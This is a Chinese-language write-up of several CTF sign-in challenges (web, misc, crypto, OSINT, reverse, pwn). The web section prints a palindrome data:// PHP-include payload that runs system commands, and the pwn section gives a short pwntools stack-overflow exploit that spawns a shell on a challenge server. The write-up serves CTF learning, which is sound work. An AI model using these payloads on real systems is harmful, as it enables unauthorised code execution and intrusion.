本文是对单身杯题目的部分复现,部分不会做的照着官方给出的 wp 重新操作了一边顺便留下自己的思考。
web
web签到
感谢@大菜鸡师傅供题,太棒了!
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
}
isset()函数用于检测变量是否已设置并且非 NULL。
strrev()将str所指的字符串逆置。
很明显要求找到一个字符串,让顺着和倒着一样,且可以进行RCE,使用data
协议,再利用?>
进行闭合。
file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system("ls /");
==payload:==
file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system("cat /f1agaaa");
MISC
misc签到
感谢@格调僧师傅供题,太棒了!
重要提示:
压缩包密码是5位字符
lsb有内容
flag包含5个空格、2个逗号,均替换为下划线,连续只留1个下划线
打开文件,发现是一个加密压缩包:
直接丢到Ziperello
:
中间发生了一件有意思的事情,在爆破过程中发现ziperello
爆破完需要挺长时间,于是顺便把ARCHPR
也打开了,然后发现后者比前者快很多,但是前者反而先出密码,哈哈。
密码就是61f@X
,解压缩文件,是这样一个图片:
丢到winhex
看一下,搜一下flag或者ctf这类敏感字符,发现没有,拉到最后看看,发现一串base64
编码的字符串,丢过去解码一下:
不知道咋回事,看了官方wp发现是图片,我真的会谢:
同时,图片丢进zsteg后得到半段flag:
使用ztsg也是一样:
补全二维码的定位符,然后识别一下(这边搞了好长时间,但功夫不负有心人):
6C75652C20666172206578636565647320796F75722062656C6965667D
==友情提示这里使用的二维码尽量是编码以后直接下载的,不要直接截图,很难成功,不知道为啥==
再base16解码一下:
拼接在一起:
==ctfshow{Your potential,value, far exceeds your belief}==
按照规定格式转化一下:
==ctfshow{Your_potential_value_far_exceeds_your_belief}==
CRYPTO
感谢@G4的账号发给我的题目,出题人是谁咱也不知道,咱也不敢问 师傅提供的题目
提示:flag要用ctfshow{}包起来
打开附件:
不知道你们第一眼看到会想到什么,但是我回想到福尔摩斯跳舞的小人那一章节,搜一下,发现一摸一样:
对照揭秘一下得到flag:
==please use underslash between every word with initials in capitals the flag is everyone loves taoshen.==
故flag为==ctfshow{Everyone_Loves_Taoshen}==
OSINT
任性老板
感谢@MiGooli师傅供题,太棒了!
有的人能一眼看出flag(0),有的人连这家店的店名和手机号都找不出来(1)
那么你是哪种人呢?
请提交ctfshow{店名_店家手机号},证明你的成分
打开附件:
拿百度识图看一下,发现:
点进去看一下却没啥有用的信息,搜索也没得到啥线索,没办法,继续往下浏览,直到看到这样一个照片:
搜索成都最认真做面的店主:
找到了,看看是不是:
好样的找到了!!!前面看到这家店是叫左撇子私房面
:
使用百度地图搜一下试试:(本来想拿美团搜的,一想一天就营业四个小时估计没外卖服务。。)
所以flag就是==ctfshow{左撇子私房面_15882424927}==
蛤壳雪茄-1
感谢@套妈师傅供题,太棒了!
这张照片是在22年第一季度-第二季度之间拍的,请找出这家飞机的所属公司的官网地址。
例:ctfshow{www.mumuzi.com}
打开附件:
不管了,直接丢到google识图
看一下,没啥收获,再用下yandex
:
点击进去看一下:
发现是一摸一样的,这是一台波音 737-200 推力反向器
,直接搜索有关波音737并没有什么有用的信息,直接输入波音公司的flag也不对,再观察一下图片与搜索结果,发现大部分都一样唯独颜色不对,于是搜索black boeing 737-200
,找到:
第一个!!!!
搜一下这家航空公司chrono aviation
:
在公司的网站找到了这驾波音飞机:
看来就是这家航空公司了,提交公司网站,正确,flag就是:
==ctfshow{www.chronoaviation.com}==
蛤壳雪茄-2
感谢@套妈师傅供题,太棒了!
请找出飞机所降落的地点城市的名字_国家,单词首字母大写
例:ctfshow{Fujian_China}
打开附件:
可以发现两个图片背景都有雪,Yandex
搜一下:
在搜索过程中发现和图一背景几乎一模一样的建筑:
搜索上面那串字符:IQALUIT
再次找到,看来就是这个地方:
直接猜测 flag 就是:==ctfshow{Iqaluit_Canada}==正确,个人感觉这题给的信息太多了,随便用一个就可以顺藤摸瓜找到flag,感谢套妈留下活路!!!
REVERSE
re签到
感谢@大菜鸡师傅供题,太棒了!
拿到文件先查看一下基础信息:
拖到IDA看一下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax
const char *v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
char v10; // [rsp+0h] [rbp-70h]
int v11; // [rsp+60h] [rbp-10h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]
v12 = __readfsqword(0x28u);
memset(&v10, 0, 0x60uLL);
v11 = 0;
puts("plz input your password:");
__isoc99_scanf("%s", &v10);
v3 = be(&v10);
v4 = be(v3);
v5 = (const char *)be(v4);
if ( !strcmp(v5, "V2toT2FWZ3pTbXhZTTA1d1dqSTFabUZYTldaaFNFNTZZek5PZW1NelRucGpkejA5") )
{
printf(format, &v10);
}
else
{
v6 = be(&v10);
v7 = be(v6);
v8 = be(v7);
printf("password is incorrect!\n%s", v8);
}
return 0;
}
基本逻辑是读入字符串经过两次be函数后和V2toT2FWZ3pTbXhZTTA1d1dqSTFabUZYTldaaFNFNTZZek5PZW1NelRucGpkejA5
比较
看一下be()
函数:
_BYTE *__fastcall be(const char *a1)
{
__int64 v1; // rax
__int64 v2; // rax
int v4; // [rsp+18h] [rbp-28h]
int v5; // [rsp+1Ch] [rbp-24h]
signed __int64 v6; // [rsp+20h] [rbp-20h]
signed __int64 v7; // [rsp+30h] [rbp-10h]
_BYTE *v8; // [rsp+38h] [rbp-8h]
v7 = strlen(a1);
if ( v7 == 3 * (((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63)) )
v1 = ((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63);
else
v1 = ((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63) + 1;
v6 = 4 * v1;
v8 = malloc(4 * v1 + 1);
v8[v6] = 0;
v4 = 0;
v5 = 0;
while ( v4 < v6 - 2 )
{
v8[v4] = aAbcdefghijklmn[(const unsigned __int8)a1[v5] >> 2];
v8[v4 + 1] = aAbcdefghijklmn[16 * a1[v5] & 0x30 | ((const unsigned __int8)a1[v5 + 1] >> 4)];
v8[v4 + 2] = aAbcdefghijklmn[4 * a1[v5 + 1] & 0x3C | ((const unsigned __int8)a1[v5 + 2] >> 6)];
v8[v4 + 3] = aAbcdefghijklmn[a1[v5 + 2] & 0x3F];
v5 += 3;
v4 += 4;
}
v2 = v7 - 3 * (((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63));
if ( v2 == 1 )
{
v8[v4 - 2] = 61;
v8[v4 - 1] = 61;
}
else if ( v2 == 2 )
{
v8[v4 - 1] = 61;
}
return v8;
}
发现其实就是 base64 编码,拿给的字符连续编码三次得到flag,这里使用进击的bird师傅写好的脚本进行解密
import base64
stc=input("输入需要进行解码的BASE64码:\n")
def base64count(src):
print("开始..")
num=0
try:
while True :
src = base64.decodestring(src.encode('utf-8'))
#这里改成decodebytes可以避免警告。。
src=src.decode('ascii')
num=num+1
print("解码中,第%d次" %(num))
except Exception as e:
print("结束")
return src
if __name__ == '__main__':
print(base64count(stc))
运行得到 flag!!!!
==ctfshow{dsb_re_sign_in_hsssssssss}==
PWN
pwn签到
感谢@大菜鸡师傅供题,太棒了!
打开附件查看基础信息:
拖到IDA看一下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts((const char *)&unk_8048668);
dsb(&argc);
puts((const char *)&unk_8048694);
return 0;
}
可以找到这个:
int shell_here()
{
system("/bin/sh");
return 0;
}
无保护,就是一个最简单的栈溢出,直接写exp即可:
from pwn import *
r = remote("pwn.challenge.ctf.show",28159)
r.recvline()
payload=b"a"*20+p32(0x80484f6)
r.sendline(payload)
r.interactive()
得到flag!!!